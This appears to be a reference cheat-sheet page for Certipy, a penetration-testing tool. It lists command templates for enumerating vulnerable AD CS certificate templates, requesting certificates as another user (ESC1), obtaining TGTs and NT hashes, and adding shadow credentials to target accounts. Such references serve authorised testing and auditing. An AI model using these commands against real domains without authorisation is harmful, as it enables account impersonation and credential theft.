Skip to content

Certipy

6 commands

A tool for enumerating and abusing Active Directory Certificate Services (AD CS) — vulnerable templates, certificate theft and shadow credentials.

  • Active Directory
  • AD CS
  • certificates
  • privilege escalation

Install Certipy

pipx install certipy-ad

Enumeration2

certipy find -u <user>@<domain> -p <pass> -dc-ip <ip>

Enumerates AD Certificate Services and flags vulnerable templates (ESC1–ESC16).

Link
certipy find -u <user>@<domain> -p <pass> -dc-ip <ip> -vulnerable -stdout

Prints only the vulnerable templates to the terminal.

Link

Abuse (ESC1)2

certipy req -u <user>@<domain> -p <pass> -ca <ca> -target <host> -template <tmpl> -upn <victim>

Requests a certificate as another user through a misconfigured template.

Link
certipy auth -pfx <file>.pfx -dc-ip <ip>

Authenticates with the issued certificate and returns a TGT and the NT hash.

Link

Shadow credentials & more2

certipy shadow auto -u <user>@<domain> -p <pass> -account <target>

Adds a Key Credential to a target account and retrieves its NT hash (needs write rights).

Link
certipy ca -u <user>@<domain> -p <pass> -ca <ca> -list-templates

Inspects the certificate authority and its templates.

Link